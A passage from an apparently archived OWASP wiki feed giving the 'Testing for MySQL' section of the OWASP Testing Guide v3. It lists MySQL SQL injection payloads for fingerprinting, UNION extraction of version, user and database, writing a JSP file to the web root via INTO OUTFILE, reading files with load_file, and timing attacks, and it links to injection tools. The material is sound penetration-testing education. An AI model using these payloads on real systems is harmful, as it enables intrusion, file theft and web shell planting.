* Francois Larouche: Multiple DBMS SQL Injection tool - http://www.sqlpowerinjector.com/index.htm&amp;lt;br&amp;gt;&lt;br /&gt;
* ilo--:  MySQL Blind Injection Bruteforcing, Reversing.org - http://www.reversing.org/node/view/11 sqlbftools&amp;lt;br&amp;gt;&lt;br /&gt;
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.sourceforge.net&lt;br /&gt;
* Antonio Parata: Dump Files by SQL inference on MySQL - http://www.ictsc.it/site/IT/projects/sqlDumper/sqldumper.src.tar.gz&amp;lt;br&amp;gt;&lt;br /&gt;
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/&lt;br /&gt;
&lt;br /&gt;
[[Category:FIXME|link not working&lt;br /&gt;
&lt;br /&gt;
'''Case Studies'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Time Based SQL Injection Explained - http://www.f-g.it/papers/blind-zk.txt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
]]&lt;/div&gt;</summary>
		<author><name>Matt Heckathorn</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_MySQL&amp;diff=86467</id>
		<title>Testing for MySQL</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_MySQL&amp;diff=86467"/>
				<updated>2010-07-14T18:24:54Z</updated>
		
		<summary type="html">&lt;p&gt;Matt Heckathorn: fixed the spelling of exclamation under Fingerprinting MySQL section&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]&amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v3}}&lt;br /&gt;
&lt;br /&gt;
== Short Description of the Issue == &lt;br /&gt;
[[SQL Injection]] vulnerabilities occur whenever input is used in the construction of a SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers. It allows for the execution of SQL code under the privileges of the user used to connect to the database.&lt;br /&gt;
&lt;br /&gt;
''MySQL server'' has a few particularities so that some exploits need to be &lt;br /&gt;
specially customized for this application. That's the subject of this section.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
=== How to Test ===&lt;br /&gt;
When an SQL injection vulnerability is found in an application backed by a MySQL database,&lt;br /&gt;
there are a number of attacks that could be performed depending &lt;br /&gt;
on the MySQL version and user privileges on DBMS.&lt;br /&gt;
&lt;br /&gt;
MySQL comes with at least four versions which are used in production worldwide.&lt;br /&gt;
3.23.x, 4.0.x, 4.1.x and 5.0.x.&lt;br /&gt;
Every version has a set of features proportional to version number.&lt;br /&gt;
&lt;br /&gt;
* From Version 4.0: UNION &lt;br /&gt;
* From Version 4.1: Subqueries&lt;br /&gt;
* From Version 5.0: Stored procedures, Stored functions and the view named INFORMATION_SCHEMA&lt;br /&gt;
* From Version 5.0.2: Triggers &lt;br /&gt;
&lt;br /&gt;
It should be noted that for MySQL versions before 4.0.x, only Boolean or time-based Blind Injection attacks could be used, since the subquery functionality or UNION statements were not implemented.&lt;br /&gt;
&lt;br /&gt;
From now on, we will assume that there is a classic SQL injection vulnerability, which can be triggered by a request similar to the the one described in the Section on [[Testing for SQL Injection  (OWASP-DV-005)|Testing for SQL Injection]].&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/page.php?id=2&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== The Single Quotes Problem ===&lt;br /&gt;
Before taking advantage of MySQL features, &lt;br /&gt;
it has to be taken in consideration how strings could be represented&lt;br /&gt;
in a statement, as often web applications escape single quotes.&lt;br /&gt;
&lt;br /&gt;
MySQL quote escaping is the following:&amp;lt;br&amp;gt;&lt;br /&gt;
''' &amp;lt;nowiki&amp;gt;'A string with \'quotes\''&amp;lt;/nowiki&amp;gt; '''&lt;br /&gt;
&lt;br /&gt;
That is, MySQL interprets escaped apostrophes (\') as characters and not as&lt;br /&gt;
metacharacters.&lt;br /&gt;
&lt;br /&gt;
So if the application, to work properly, needs to use constant strings,&lt;br /&gt;
two cases are to be differentiated: &lt;br /&gt;
# Web app escapes single quotes (' =&amp;gt; \')&lt;br /&gt;
# Web app does not escape single quotes (' =&amp;gt; ')&lt;br /&gt;
&lt;br /&gt;
Under MySQL, there is a standard way to bypass the need of single quotes, having a constant string to be declared without the need for single quotes.&lt;br /&gt;
&lt;br /&gt;
Let's suppose we want to know the value of a field named 'password' in a record,&lt;br /&gt;
with a condition like the following:&lt;br /&gt;
password like 'A%'&lt;br /&gt;
&lt;br /&gt;
# The ASCII values in a concatenated hex:&amp;lt;br&amp;gt;&lt;br /&gt;
#: password LIKE 0x4125&lt;br /&gt;
# The char() function:&lt;br /&gt;
#: password LIKE CHAR(65,37)&lt;br /&gt;
&lt;br /&gt;
=== Multiple mixed queries: ===&lt;br /&gt;
&lt;br /&gt;
MySQL library connectors do not support multiple queries separated&lt;br /&gt;
by '''&amp;lt;nowiki&amp;gt;';'&amp;lt;/nowiki&amp;gt;''' so there's no way to inject multiple non-homogeneous SQL commands inside a single SQL injection vulnerability like in Microsoft SQL Server.&lt;br /&gt;
&lt;br /&gt;
For example the following injection will result in an error:&lt;br /&gt;
&lt;br /&gt;
 1 ; update tablename set code='javascript code' where 1 --&lt;br /&gt;
&lt;br /&gt;
=== Information gathering ===&lt;br /&gt;
&lt;br /&gt;
==== Fingerprinting MySQL ====&lt;br /&gt;
&lt;br /&gt;
Of course, the first thing to know is if there's MySQL DBMS as a backend.&lt;br /&gt;
&lt;br /&gt;
MySQL server has a feature that is used to let other DBMS ignore a clause in MySQL&lt;br /&gt;
dialect. When a comment block ''('/**/')'' contains an exclamation mark ''('/*! sql here*/')'' it is interpreted by MySQL, and is considered as a normal comment block by other DBMS&lt;br /&gt;
as explained in [http://dev.mysql.com/doc/refman/5.0/en/comments.html MySQL manual].&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
 1 /*! and 1=0 */&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
''If MySQL is present, the clause inside the comment block will be interpreted.''&lt;br /&gt;
&lt;br /&gt;
==== Version ====&lt;br /&gt;
&lt;br /&gt;
There are three ways to gain this information:&lt;br /&gt;
# By using the global variable @@version&lt;br /&gt;
# By using the function [[http://dev.mysql.com/doc/refman/5.0/en/information-functions.html VERSION()]]&lt;br /&gt;
# By using comment fingerprinting with a version number /*!40110 and 1=0*/&lt;br /&gt;
#: which means &lt;br /&gt;
 &amp;lt;nowiki&amp;gt;if(version &amp;gt;= 4.1.10) &lt;br /&gt;
   add 'and 1=0' to the query.&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
These are equivalent as the result is the same.&lt;br /&gt;
&lt;br /&gt;
In band injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND 1=0 UNION SELECT @@version /*&lt;br /&gt;
&lt;br /&gt;
Inferential injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND @@version like '4.0%'&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
''A string like this: '''5.0.22-log''' ''&lt;br /&gt;
&lt;br /&gt;
==== Login User ====&lt;br /&gt;
&lt;br /&gt;
There are two kinds of users MySQL Server relies upon.&lt;br /&gt;
# [[http://dev.mysql.com/doc/refman/5.0/en/information-functions.html USER()]]: the user connected to the MySQL Server.&lt;br /&gt;
# [[http://dev.mysql.com/doc/refman/5.0/en/information-functions.html CURRENT_USER()]]: the internal user who is executing the query.&lt;br /&gt;
&lt;br /&gt;
There is some difference between 1 and 2.&lt;br /&gt;
&lt;br /&gt;
The main one is that an anonymous user could connect (if allowed)&lt;br /&gt;
with any name, but the MySQL internal user is an empty name (&amp;lt;nowiki&amp;gt;''&amp;lt;/nowiki&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
Another difference is that a stored procedure or a stored function&lt;br /&gt;
are executed as the creator user, if not declared elsewhere. This &lt;br /&gt;
can be known by using '''CURRENT_USER'''.&lt;br /&gt;
&lt;br /&gt;
In band injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND 1=0 UNION SELECT USER() &lt;br /&gt;
&lt;br /&gt;
Inferential injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND USER() like 'root%'&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
''A string like this: '''user@hostname''' ''&lt;br /&gt;
&lt;br /&gt;
==== Database name in use ====&lt;br /&gt;
&lt;br /&gt;
There is the native function DATABASE()&lt;br /&gt;
&lt;br /&gt;
In band injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND 1=0 UNION SELECT DATABASE() &lt;br /&gt;
&lt;br /&gt;
Inferential injection:&lt;br /&gt;
&lt;br /&gt;
 1 AND DATABASE() like 'db%'&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
''A string like this: '''dbname''' ''&lt;br /&gt;
&lt;br /&gt;
==== INFORMATION_SCHEMA ====&lt;br /&gt;
From MySQL 5.0 a view named [[http://dev.mysql.com/doc/refman/5.0/en/information-schema.html INFORMATION_SCHEMA]] was created.&lt;br /&gt;
It allows us to get all informations about databases, tables, and columns,&lt;br /&gt;
as well as procedures and functions.&lt;br /&gt;
&lt;br /&gt;
Here is a summary of some interesting Views.&lt;br /&gt;
{| border=1&lt;br /&gt;
 || '''Tables_in_INFORMATION_SCHEMA''' || '''DESCRIPTION'''&lt;br /&gt;
|-&lt;br /&gt;
|| ..[skipped]..|| ..[skipped].. &lt;br /&gt;
|-&lt;br /&gt;
|| SCHEMATA || All databases the user has (at least) SELECT_priv &lt;br /&gt;
|-&lt;br /&gt;
|| SCHEMA_PRIVILEGES || The privileges the user has for each DB&lt;br /&gt;
|-&lt;br /&gt;
|| TABLES || All tables  the user has (at least) SELECT_priv&lt;br /&gt;
|-&lt;br /&gt;
|| TABLE_PRIVILEGES || The privileges the user has for each table&lt;br /&gt;
|-&lt;br /&gt;
|| COLUMNS || All columns  the user has (at least) SELECT_priv&lt;br /&gt;
|-&lt;br /&gt;
|| COLUMN_PRIVILEGES || The privileges the user has for each column&lt;br /&gt;
|-&lt;br /&gt;
|| VIEWS || All columns  the user has (at least) SELECT_priv&lt;br /&gt;
|-&lt;br /&gt;
|| ROUTINES || Procedures and functions (needs EXECUTE_priv)&lt;br /&gt;
|-&lt;br /&gt;
|| TRIGGERS || Triggers (needs INSERT_priv)&lt;br /&gt;
|-&lt;br /&gt;
|| USER_PRIVILEGES || Privileges connected User has&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
All of this information could be extracted by using known techniques as &lt;br /&gt;
described in SQL Injection section.&lt;br /&gt;
&lt;br /&gt;
=== Attack vectors ===&lt;br /&gt;
&lt;br /&gt;
==== Write in a File ====&lt;br /&gt;
&lt;br /&gt;
If the connected user has '''FILE''' privileges and single quotes are not escaped,&lt;br /&gt;
the 'into outfile' clause can be used to export query results in a file.&lt;br /&gt;
&lt;br /&gt;
 Select * from table into outfile '/tmp/file'&lt;br /&gt;
&lt;br /&gt;
Note: there is no way to bypass single quotes surrounding a filename. &lt;br /&gt;
So if there's some sanitization on single quotes like escape (\') there will&lt;br /&gt;
be no way to use the 'into outfile' clause.&lt;br /&gt;
&lt;br /&gt;
This kind of attack could be used as an out-of-band technique to gain information&lt;br /&gt;
about the results of a query or to write a file which could be executed inside the &lt;br /&gt;
web server directory.&lt;br /&gt;
&lt;br /&gt;
Example:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;1 limit 1 into outfile '/var/www/root/test.jsp' FIELDS ENCLOSED BY '//'  LINES TERMINATED BY '\n&amp;lt;%jsp code here%&amp;gt;';&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
'' Results are stored in a file with rw-rw-rw privileges owned by &lt;br /&gt;
MySQL user and group.&lt;br /&gt;
&lt;br /&gt;
Where ''/var/www/root/test.jsp'' will contain:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;//field values//&lt;br /&gt;
&amp;lt;%jsp code here%&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Read from a File ====&lt;br /&gt;
&lt;br /&gt;
Load_file is a native function that can read a file when allowed by &lt;br /&gt;
filesystem permissions. &lt;br /&gt;
&lt;br /&gt;
If a connected user has '''FILE''' privileges, it could be used to get the files' content.&lt;br /&gt;
&lt;br /&gt;
Single quotes escape sanitization can by bypassed by using previously described&lt;br /&gt;
techniques.&lt;br /&gt;
&lt;br /&gt;
 load_file('filename')&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''The whole file will be available for exporting by using standard techniques.''&lt;br /&gt;
&lt;br /&gt;
=== Standard SQL Injection Attack ===&lt;br /&gt;
&lt;br /&gt;
In a standard SQL injection you can have results displayed directly &lt;br /&gt;
in a page as normal output or as a MySQL error.&lt;br /&gt;
By using already mentioned SQL Injection attacks and the already described&lt;br /&gt;
MySQL features, direct SQL injection could be easily accomplished at a level&lt;br /&gt;
depth depending primarily on the MySQL version the pentester is facing.&lt;br /&gt;
&lt;br /&gt;
A good attack is to know the results by forcing a function/procedure&lt;br /&gt;
or the server itself to throw an error.&lt;br /&gt;
A list of errors thrown by MySQL and in particular native functions could&lt;br /&gt;
be found on [http://dev.mysql.com/doc/refman/5.0/en/error-messages-server.html MySQL Manual].&lt;br /&gt;
&lt;br /&gt;
=== Out of band SQL Injection ===&lt;br /&gt;
&lt;br /&gt;
Out of band injection could be accomplished by using the [[#Write_in_a_File|'into outfile']] clause.&lt;br /&gt;
=== Blind SQL Injection ===&lt;br /&gt;
For blind SQL injection, there is a set of useful function natively provided by MySQL server.&lt;br /&gt;
&lt;br /&gt;
* String Length: &lt;br /&gt;
*: ''LENGTH(str)''&lt;br /&gt;
* Extract a substring from a given string: &lt;br /&gt;
*: ''SUBSTRING(string, offset, #chars_returned)''&lt;br /&gt;
* Time based Blind Injection: BENCHMARK and SLEEP &lt;br /&gt;
*: ''BENCHMARK(#ofcicles,action_to_be_performed )''&lt;br /&gt;
*: The benchmark function could be used to perform timing attacks, when blind injection by boolean values does not yield any results.&lt;br /&gt;
*: See. SLEEP() (MySQL &amp;gt; 5.0.x) for an alternative on benchmark.&lt;br /&gt;
&lt;br /&gt;
For a complete list, refer to MySQL manual - http://dev.mysql.com/doc/refman/5.0/en/functions.html&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Chris Anley: &amp;quot;Hackproofing MySQL&amp;quot; -http://www.nextgenss.com/papers/HackproofingMySQL.pdf&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Francois Larouche: Multiple DBMS SQL Injection tool - http://www.sqlpowerinjector.com/index.htm&amp;lt;br&amp;gt;&lt;br /&gt;
* ilo--:  MySQL Blind Injection Bruteforcing, Reversing.org - http://www.reversing.org/node/view/11 sqlbftools&amp;lt;br&amp;gt;&lt;br /&gt;
* Bernardo Damele A. G.: sqlmap, automatic SQL injection tool - http://sqlmap.sourceforge.net&lt;br /&gt;
* Antonio Parata: Dump Files by SQL inference on MySQL - http://www.ictsc.it/site/IT/projects/sqlDumper/sqldumper.src.tar.gz&amp;lt;br&amp;gt;&lt;br /&gt;
* Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool - http://code.google.com/p/mysqloit/&lt;br /&gt;
&lt;br /&gt;
[[Category:FIXME|link not working&lt;br /&gt;
&lt;br /&gt;
'''Case Studies'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Time Based SQL Injection Explained - http://www.f-g.it/papers/blind-zk.txt&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
]]&lt;/div&gt;</summary>
		<author><name>Matt Heckathorn</name></author>	</entry>

	</feed>